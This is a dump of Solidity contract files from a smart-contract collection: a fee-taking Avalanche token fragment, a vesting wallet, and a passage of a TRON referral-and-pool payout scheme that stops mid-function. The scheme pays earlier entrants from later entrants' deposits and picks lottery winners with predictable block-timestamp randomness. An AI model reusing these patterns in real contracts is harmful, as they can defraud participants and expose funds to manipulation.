if (!hasSold[recipient] && usedAvax > _record){
WorldLeader = recipient;
_record = usedAvax;
}
}
if (sender != owner
&& recipient != owner
&& !isTxLimitExempt[sender]
&& sender != pair
&& recipient != address(this)) {
if (WorldLeader == sender){
WorldLeader = marketingWallet;
_record = 0;
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient) internal view returns (bool) {
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountAVAX = address(this).balance;
uint256 totalAVAXFee = totalFee.sub(liquidityFee.div(2));
uint256 amountAVAXMarketing = amountAVAX.mul(marketingFee).div(totalAVAXFee);
uint256 amountAVAXTaxMan = amountAVAX.mul(WorldLeaderFee).div(totalAVAXFee);
uint256 amountAVAXLiquidity = amountAVAX.mul(liquidityFee).div(totalAVAXFee).div(2);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountAVAXMarketing, gas: 30000}("");
(bool tmpSuccess2,) = payable(WorldLeader).call{value: amountAVAXTaxMan, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if(amountToLiquify > 0){
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountAVAXLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountAVAX, uint256 amountBOG);
}
| 86,773 | 13,206 |
dee017eb6eddda753aacd364faffa7e7b8c0bad70eecedbdb41602e3656381ee
| 22,275 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ea/eac8074c94ba0dd16302a9f28718d8a46ffa5693_VestingWallet.sol
| 2,566 | 10,607 |
// File: contracts/PartnerProgramVesting.sol
// OpenZeppelin Contracts v4.4.1 (finance/VestingWallet.sol)
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function owner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
function abs(int256 n) internal pure returns (uint256) {
unchecked {
// must be unchecked in order to support `n = type(int256).min`
return uint256(n >= 0 ? n : -n);
}
}
}
contract VestingWallet is Context {
event EtherReleased(uint256 amount);
event ERC20Released(address indexed token, uint256 amount);
uint256 private _released;
mapping(address => uint256) private _erc20Released;
address private _beneficiary;
uint64 private immutable _start;
uint64 private immutable _duration;
constructor(address beneficiaryAddress,
uint64 startTimestamp,
uint64 durationSeconds) {
require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address");
_beneficiary = beneficiaryAddress;
_start = startTimestamp;
_duration = durationSeconds;
}
receive() external payable virtual {}
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
function changeBeneficiary(address newBeneficiary) public virtual{
require(msg.sender == _beneficiary, "ECR20: Only current beneficiary can change beneficiaries");
_beneficiary = newBeneficiary;
}
function start() public view virtual returns (uint256) {
return _start;
}
function duration() public view virtual returns (uint256) {
return _duration;
}
function released() public view virtual returns (uint256) {
return _released;
}
function released(address token) public view virtual returns (uint256) {
return _erc20Released[token];
}
function release() public virtual {
uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();
_released += releasable;
emit EtherReleased(releasable);
Address.sendValue(payable(beneficiary()), releasable);
}
function release(address token) public virtual {
uint256 releasable = vestedAmount(token, uint64(block.timestamp)) - released(token);
_erc20Released[token] += releasable;
emit ERC20Released(token, releasable);
SafeERC20.safeTransfer(IERC20(token), beneficiary(), releasable);
}
function vestedAmount(uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(address(this).balance + released(), timestamp);
}
function vestedAmount(address token, uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(IERC20(token).balanceOf(address(this)) + released(token), timestamp);
}
function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {
if (timestamp < start()) {
return 0;
} else if (timestamp > start() + duration()) {
return totalAllocation;
} else {
return (totalAllocation * (timestamp - start())) / duration();
}
}
}
| 92,029 | 13,207 |
79ac55d74a2dffae3f648fa1ef6cfd92567b2d2aa2cac630f9ef5282f453cd99
| 26,262 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRzm8QSjWuazoAqo2uP8FZrV2qFKtCoTsC_Circular.sol
| 7,155 | 25,388 |
//SourceUnit: circular.sol
pragma solidity ^0.5.4;
interface Supplementary{
function buyTokenWithEconomicValue(address addr, string calldata trxID) external payable returns(uint256, uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Circular is Ownable {
using SafeMath for uint256;
uint256[] CircleEntrancePrice = [200000000, 900000000, 3000000000];
uint256[] moneyBoxLimit = [400000000, 1400000000, 3000000000];
uint256[] PoolEntrance = [400000000, 600000000, 950000000, 1500000000, 1400000000, 2000000000, 3000000000, 4400000000, 6400000000, 3000000000, 4500000000, 6500000000, 10000000000, 15000000000, 0];
uint256[3] public TotalTRXInCircle;
uint256 wheelEntrance = 5000000;
uint256 usageTime = 30 days;
address payable public DWallet;
address payable public MainWallet;
address public SupplementaryContract;
uint256 public startTime;
uint256 public idCounter = 1;
uint256 public totalPaidMoney;
uint256 private poolStartTime;
bool public TTSORMoney;
uint256 nonce;
uint256 randomG = 1;
AFKUser[] public AFKUsers;
struct AFKUser{
uint256 id;
uint256 circle;
}
uint256 private counter;
uint256[] private idCircle2;
uint256[] private idCircle3;
mapping(uint256 => address payable) private idToAddress;
mapping(address => uint256) private addressToId;
mapping(address => UserCircleData[3]) private userCircleData;
mapping(address => UserPoolData[3]) private userPoolData;
mapping(address => UserData) private userData;
PoolData private poolData;
struct UserCircleData{
address payable leftSide;
address payable rightSide;
uint256 moneyBox;
bool isClosedBox;
address referrer;
uint256[] referrals;
bool initiated;
uint256 enteranceTime;
uint256 lastIntractTime;
bool isInFortuneWheel;
uint256 totalEarnFromCircle;
}
struct UserData{
uint256 totalEarn;
uint256 startTime;
uint256 FortuneWheelWins;
uint256 totalTTSCashedOut;
}
uint256 public totalFortuneWheelWinMoney;
uint256 public totalFortuneWheelBoxes;
uint256 public totalFortuneWheelCalls;
struct UserPoolData{
uint256 currentPool;
address payable behind;
bool initiated;
uint256 indexFromStart;
}
struct PoolData{
address payable[14] first;
address payable[14] last;
bool[14] counter;
uint256[14] length;
uint256[14] totalEntrance;
}
uint256[3] public lastIntractTimeWithPool;
ReservedUsers[2] public reserve;
struct ReservedUsers{
uint256 id;
uint256 amount;
bool isInReserve;
}
event SendProfitOfPool(address addr, uint256 amount);
constructor(address payable dwallet, address payable mainWallet, address supplementaryAddress, uint256 startC, uint256 startP) public{
DWallet = dwallet;
MainWallet = mainWallet;
SupplementaryContract = supplementaryAddress;
assignId(mainWallet);
uint256 i=0;
while(i < 3) {
userCircleData[mainWallet][i].initiated = true;
userCircleData[mainWallet][i].leftSide = mainWallet;
userCircleData[mainWallet][i].rightSide = mainWallet;
userCircleData[mainWallet][i].referrer = mainWallet;
userCircleData[mainWallet][i].isClosedBox = true;
userPoolData[mainWallet][i].initiated = true;
i++;
}
idCircle2.push(1);
idCircle3.push(1);
addToPool(0, 0, mainWallet);
addToPool(4, 1, mainWallet);
addToPool(9, 2, mainWallet);
startTime = startC;
poolStartTime = startP;
}
function enterCircle(uint256 referrer, uint256 circleNum) public payable{
require(block.timestamp > startTime, "circles are not open!");
require(circleNum < 3, "wrong circle number!");
require(!userCircleData[msg.sender][circleNum].initiated, "You have already registered in this Circle");
require(msg.value == CircleEntrancePrice[circleNum], "You paid wrong amount");
if(circleNum == 1){
require(userCircleData[msg.sender][0].initiated, "You have to be in Circle 1 to Enter Circle 2");
}else if(circleNum == 2){
require(userCircleData[msg.sender][1].initiated, "You have to be in Circle 2 to Enter Circle 3");
}
totalPaidMoney += msg.value;
addUserToCircle(msg.sender, referrer, circleNum, msg.value);
}
function addUserToCircle(address payable user, uint256 referrer, uint256 circleNum, uint256 value) private {
if(circleNum > 0){
address ref = userCircleData[user][circleNum - 1].referrer;
if(userCircleData[ref][circleNum].initiated)
referrer = addressToId[ref];
else if(!userCircleData[idToAddress[referrer]][circleNum].initiated){
nonce ++;
if(circleNum == 1)
referrer = idCircle2[random(idCircle2.length)];
else
referrer = idCircle3[random(idCircle3.length)];
}
}else{
if(!userCircleData[idToAddress[referrer]][circleNum].initiated){
nonce ++;
referrer = random(idCounter - 1) + 1;
}
}
TotalTRXInCircle[circleNum] += value;
userCircleData[user][circleNum].enteranceTime = block.timestamp;
uint256 id = assignId(user);
userCircleData[user][circleNum].initiated = true;
if(circleNum == 1)
idCircle2.push(id);
else if(circleNum == 2)
idCircle3.push(id);
addToCircle(user, idToAddress[referrer], circleNum, value);
}
function enterPool(uint256 stageNumber) public payable{
require(block.timestamp > poolStartTime, "pools are not open");
require(stageNumber < 3, "wrong pool number!");
require(userCircleData[msg.sender][stageNumber].initiated , "You have to be in Circle to get in pool");
require(!userPoolData[msg.sender][stageNumber].initiated , "You have already registered in this pool");
require(stageNumber == 0 || userPoolData[msg.sender][stageNumber - 1].initiated, "You have to be in prev pool to get into later ones");
uint256 realNum = stageNumber >= 1 ? stageNumber * 5 - 1 : 0;//0 4 9
require(msg.value <= PoolEntrance[realNum], "you paid wrong amount");
uint256 amount = msg.value.add(userCircleData[msg.sender][stageNumber].moneyBox);
require(PoolEntrance[realNum] <= amount, "you paid wrong amount");
totalPaidMoney += msg.value;
userCircleData[msg.sender][stageNumber].moneyBox = amount - PoolEntrance[realNum];
userCircleData[msg.sender][stageNumber].lastIntractTime = block.timestamp;
userCircleData[msg.sender][stageNumber].isClosedBox = true;
if(stageNumber != 2 && reserve[stageNumber].isInReserve) {
reserve[stageNumber].isInReserve = false;
addToNextCircle(idToAddress[reserve[stageNumber].id], stageNumber + 1, reserve[stageNumber].amount);
}
UserPoolData storage data = userPoolData[msg.sender][stageNumber];
data.initiated = true;
bool finished = false;
uint256 poolNumber = realNum;
address payable addr = msg.sender;
lastIntractTimeWithPool[stageNumber] = block.timestamp;
while (!finished){
finished = true;
poolData.counter[poolNumber] = !poolData.counter[poolNumber];
addToPool(poolNumber, stageNumber, addr);
if (!poolData.counter[poolNumber]){
finished = false;
addr = poolData.first[poolNumber];
poolData.first[poolNumber] = userPoolData[addr][stageNumber].behind;
poolData.length[poolNumber]--;
uint256 profit = 2 * PoolEntrance[poolNumber];
poolNumber++;
if(poolNumber == 14) {
finished = true;
} else if (poolNumber == stageNumber * 5 + 4) {
finished = true;
if (!userCircleData[addr][stageNumber + 1].initiated) {
reserve[stageNumber].isInReserve = true;
profit = profit.sub(CircleEntrancePrice[stageNumber + 1]);
if(!userCircleData[addr][stageNumber + 1].isClosedBox){
reserve[stageNumber].id = addressToId[addr];
if (stageNumber == 0){
reserve[stageNumber].amount = 700000000;
profit = profit - 700000000;
} else {
reserve[stageNumber].amount = 1500000000;
profit = profit - 1500000000;
}
}
}
} else {
profit = profit - PoolEntrance[poolNumber];
}
if(profit > 0) {
addr.transfer(profit);
userData[addr].totalEarn += profit;
emit SendProfitOfPool(addr, profit);
}
}
}
// give back money if fee is too high
}
function addToNextCircle(address payable addr, uint256 stageNumber, uint256 profit) private {
if (!userCircleData[addr][stageNumber].initiated) {
uint256 ref = addressToId[userCircleData[addr][stageNumber].referrer];
addUserToCircle(addr, ref, stageNumber, CircleEntrancePrice[stageNumber]);
if(!userCircleData[addr][stageNumber].isClosedBox){
userCircleData[addr][stageNumber].moneyBox = userCircleData[addr][stageNumber].moneyBox.add(profit);
userCircleData[msg.sender][stageNumber].lastIntractTime = block.timestamp;
}else{
addr.transfer(profit);
emit SendProfitOfPool(addr, profit);
}
}
}
function cashOut(uint256 box) public returns (uint256 amount, string memory h, uint256 returnedMoney) {
require(box < 3);
uint256 value = userCircleData[msg.sender][box].moneyBox;
userCircleData[msg.sender][box].lastIntractTime = block.timestamp;
userCircleData[msg.sender][box].moneyBox = 0;
require(value > 0, "money box is empty");
if (TTSORMoney) {
msg.sender.transfer(value);
return (0 , "", value);
}
Supplementary s = Supplementary(SupplementaryContract);
counter++;
h = uintToString(block.timestamp + counter);
(amount, returnedMoney) = s.buyTokenWithEconomicValue.value(value)(msg.sender, h);
userData[msg.sender].totalTTSCashedOut = amount;
return (amount, h, returnedMoney);
}
function sendToNextMoneyBox(uint256 box) public {
require(box < 2);
uint256 value = userCircleData[msg.sender][box].moneyBox;
userCircleData[msg.sender][box].moneyBox = 0;
userCircleData[msg.sender][box].lastIntractTime = block.timestamp;
userCircleData[msg.sender][box + 1].lastIntractTime = block.timestamp;
DWallet.transfer(value.mul(6).div(100));
userCircleData[msg.sender][box + 1].moneyBox = userCircleData[msg.sender][box + 1].moneyBox.add(value.mul(94).div(100));
}
function spinWheelOfTheFortune(uint256 id0, uint256 id1, uint256 id2) public payable returns(uint256){
addToFortuneQueue(id0);
addToFortuneQueue(id1);
addToFortuneQueue(id2);
require(AFKUsers.length > 0, "there is no reward!");
totalPaidMoney += msg.value;
if (msg.value < wheelEntrance) {
msg.sender.transfer(msg.value);
return 0;
}
DWallet.transfer(msg.value);
if (!userCircleData[msg.sender][0].initiated)
return 0;
totalFortuneWheelCalls++;
uint256 chance = 100;
nonce++;
randomG++;
randomG = randomG.mod(chance);
if (randomG == random(chance)) {
AFKUser memory prize = AFKUsers[AFKUsers.length-1];
delete AFKUsers[AFKUsers.length - 1];
AFKUsers.length--;
UserCircleData storage data = userCircleData[idToAddress[prize.id]][prize.circle];
if(block.timestamp.sub(data.lastIntractTime) > usageTime){
totalFortuneWheelBoxes++;
uint256 amount = data.moneyBox;
totalFortuneWheelWinMoney += amount;
msg.sender.transfer(amount);
userData[msg.sender].FortuneWheelWins += amount;
data.lastIntractTime = block.timestamp;
data.isInFortuneWheel = false;
data.moneyBox = 0;
return amount;
}
}
}
function sendPoolMoneyToFirst(uint256 poolNumber) public onlyOwner{
require(poolNumber < 14);
require(poolIsDisable((poolNumber + 1) / 5), "this function is available 3 months after lastIntractionIime");
if(poolData.counter[poolNumber]){
poolData.counter[poolNumber] = false;
address payable addr = poolData.first[poolNumber];
addr.transfer(PoolEntrance[poolNumber]);
poolData.first[poolNumber] = userPoolData[addr][(poolNumber + 1) / 5].behind;
poolData.length[poolNumber]--;
if (poolData.length[poolNumber] == 0)
poolData.first[poolNumber] = address(0);
}
}
//internal functions
function poolIsDisable(uint256 poolNum) public view returns (bool) {
return block.timestamp.sub(lastIntractTimeWithPool[poolNum]) > 30 days;
}
function assignId(address payable addr) private returns (uint256 id){
if(addressToId[addr] > 0)
return addressToId[addr];
userData[addr].startTime = block.timestamp;
addressToId[addr] = idCounter;
idToAddress[idCounter] = addr;
idCounter++;
return idCounter - 1;
}
function addToFortuneQueue(uint256 id) private{
UserCircleData[3] storage data = userCircleData[idToAddress[id]];
if(data[0].initiated && !data[0].isInFortuneWheel && data[0].moneyBox > 0 && block.timestamp.sub(data[0].lastIntractTime) > usageTime){
data[0].isInFortuneWheel = true;
AFKUsers.push(AFKUser(id, 0));
}
if(data[1].initiated && !data[1].isInFortuneWheel && data[1].moneyBox > 0 && block.timestamp.sub(data[1].lastIntractTime) > usageTime){
data[1].isInFortuneWheel = true;
AFKUsers.push(AFKUser(id, 1));
}
if(data[2].initiated && !data[2].isInFortuneWheel && data[2].moneyBox > 0 && block.timestamp.sub(data[2].lastIntractTime) > usageTime){
data[2].isInFortuneWheel = true;
AFKUsers.push(AFKUser(id, 2));
}
}
function uintToString(uint256 v) private pure returns (string memory str) {
bytes memory s = new bytes(10);
uint256 i = 0;
while (v != 0) {
uint256 remainder = v % 10;
v = v / 10;
s[9 - i] = byte(uint8(48 + remainder));
i++;
}
str = string(s);
}
function addToPool(uint256 realNum, uint256 stageNumber, address payable addr) private {
if(poolData.length[realNum] == 0)
poolData.first[realNum] = addr;
poolData.totalEntrance[realNum]++;
userPoolData[poolData.last[realNum]][stageNumber].behind = addr;
userPoolData[addr][stageNumber].behind = addr;
poolData.last[realNum] = addr;
poolData.length[realNum]++;
userPoolData[addr][stageNumber].currentPool = realNum;
userPoolData[addr][stageNumber].indexFromStart = poolData.totalEntrance[realNum];
}
function addToCircle(address payable addr, address payable referrer, uint256 circleNumber, uint256 value) private {
address payable one;
address payable two;
UserCircleData storage referrerData = userCircleData[referrer][circleNumber];
UserCircleData storage userCData = userCircleData[addr][circleNumber];
referrerData.referrals.push(addressToId[addr]);
userCData.referrer = referrer;
if(referrerData.referrals.length % 2 == 0){
userCData.rightSide = referrerData.rightSide;
referrerData.rightSide = addr;
userCData.leftSide = referrer;
userCircleData[userCData.rightSide][circleNumber].leftSide = addr;
one = userCData.rightSide;
two = referrerData.leftSide;
}else{
userCData.leftSide = referrerData.leftSide;
referrerData.leftSide = addr;
userCData.rightSide = referrer;
userCircleData[userCData.leftSide][circleNumber].rightSide = addr;
two = userCData.leftSide;
one = referrerData.rightSide;
}
addReferralBalance(referrer, value.div(2) , false,circleNumber);
one = addReferralBalance(one, value.mul(3).div(20) , true,circleNumber);
two = addReferralBalance(two, value.mul(3).div(20) , false,circleNumber);
one = addReferralBalance(one, value.div(20) , true,circleNumber);
two = addReferralBalance(two, value.div(20) , false,circleNumber);
one = addReferralBalance(one, value.div(50) , true,circleNumber);
two = addReferralBalance(two, value.div(50) , false,circleNumber);
DWallet.transfer(value.mul(3).div(50));
}
function addReferralBalance(address payable addr, uint256 value, bool right, uint256 circleNum) private returns (address payable) {
UserCircleData storage data = userCircleData[addr][circleNum];
userData[addr].totalEarn += value;
data.totalEarnFromCircle += value;
if(!data.isClosedBox){
uint256 addedValue = value.div(5);
if (data.moneyBox.add(addedValue) > moneyBoxLimit[circleNum]){
addedValue = moneyBoxLimit[circleNum].sub(data.moneyBox);
}
data.moneyBox = data.moneyBox.add(addedValue);
data.lastIntractTime = block.timestamp;
value = value.sub(addedValue);
}
addr.transfer(value);
return right ? data.rightSide : data.leftSide;
}
function setTTSORMoney(uint256 b) public onlyOwner {
TTSORMoney = (b == 1) ? true : false;
}
// view functions
function loginChecker(address addr) public view returns(uint256){
return addressToId[addr];
}
function getCircleData(uint256 id, uint256 circleNum) public view returns(uint256 left1,
uint256 left2,
uint256 left3,
uint256 left4,
uint256 right1,
uint256 right2,
uint256 right3,
uint256 right4){
address addr = idToAddress[id];
require(userCircleData[addr][circleNum].initiated,"Not in this circle");
address aleft1 = userCircleData[addr][circleNum].leftSide;
address aleft2 = userCircleData[aleft1][circleNum].leftSide;
address aleft3 = userCircleData[aleft2][circleNum].leftSide;
address aleft4 = userCircleData[aleft3][circleNum].leftSide;
left1=addressToId[aleft1];
left2=addressToId[aleft2];
left3=addressToId[aleft3];
left4=addressToId[aleft4];
aleft1 = userCircleData[addr][circleNum].rightSide;
aleft2 = userCircleData[aleft1][circleNum].rightSide;
aleft3 = userCircleData[aleft2][circleNum].rightSide;
aleft4 = userCircleData[aleft3][circleNum].rightSide;
return (left1,left2, left3, left4, addressToId[aleft1], addressToId[aleft2], addressToId[aleft3], addressToId[aleft4]);
}
function getCircleData2(uint256 id, uint256 circleNum) public view returns (uint256 moneyBox, uint256 referrer, bool isClosed, uint256 referralsCount, uint256 lastIntractTime, bool isInFortuneWheel){
UserCircleData memory data = userCircleData[idToAddress[id]][circleNum];
return (data.moneyBox, addressToId[data.referrer], data.isClosedBox, data.referrals.length, data.lastIntractTime, data.isInFortuneWheel);
}
function getReferrals(uint256 id, uint256 circleNum) public view returns (uint256[] memory referrals){
return userCircleData[idToAddress[id]][circleNum].referrals;
}
function getCircleLength(uint256 n) public view returns (uint256 length){
if(n == 0)
return idCounter - 1;
if(n == 1)
return idCircle2.length;
if(n == 2)
return idCircle3.length;
}
function random(uint256 baseMod) private view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, nonce))).mod(baseMod);
}
function getPoolData() public view returns (uint256[14] memory firsts, uint256[14] memory lasts, bool[14] memory full, uint256[14] memory len, uint256[14] memory totalEntrance){
for (uint256 i = 0; i < 14; i++){
firsts[i] = addressToId[poolData.first[i]];
lasts[i] = addressToId[poolData.last[i]];
}
return (firsts, lasts, poolData.counter, poolData.length, poolData.totalEntrance);
}
function getUserPoolData(uint256 id, uint256 stageNum) public view returns (uint256 currentPool, address payable behind, bool initiated, uint256 position){
UserPoolData memory data = userPoolData[idToAddress[id]][stageNum];
uint256 pos = data.indexFromStart - userPoolData[poolData.first[data.currentPool]][stageNum].indexFromStart + 1;
if (pos > data.indexFromStart + 1)
pos = 0;
return (data.currentPool, data.behind, data.initiated, pos);
}
function getIdleUsers(uint256 from, uint256 to) public view returns(bool[20] memory){
bool[20] memory ids;
if (to > from + 20)
to = from + 20;
if (to > idCounter)
to = idCounter;
for (uint256 i = from; i < to; i++) {
UserCircleData[3] memory data = userCircleData[idToAddress[i]];
if (data[0].initiated && !data[0].isInFortuneWheel && data[0].moneyBox > 0 && block.timestamp.sub(data[0].lastIntractTime) > usageTime)
ids[i - from] = true;
else if(i < idCircle2.length && data[1].initiated && !data[1].isInFortuneWheel && data[0].moneyBox > 0 && block.timestamp.sub(data[1].lastIntractTime) > usageTime)
ids[i - from] = true;
else if (i < idCircle3.length && data[2].initiated && !data[2].isInFortuneWheel && data[0].moneyBox > 0 && block.timestamp.sub(data[2].lastIntractTime) > usageTime)
ids[i - from] = true;
}
return ids;
}
function getUserData(uint256 id) public view returns (uint256 totalEarn, uint256[3] memory totalEarnFromCircle, uint256 FortuneWheelWins, uint256 userStartTime) {
totalEarn = userData[idToAddress[id]].totalEarn;
userStartTime = userData[idToAddress[id]].startTime;
FortuneWheelWins = userData[idToAddress[id]].FortuneWheelWins;
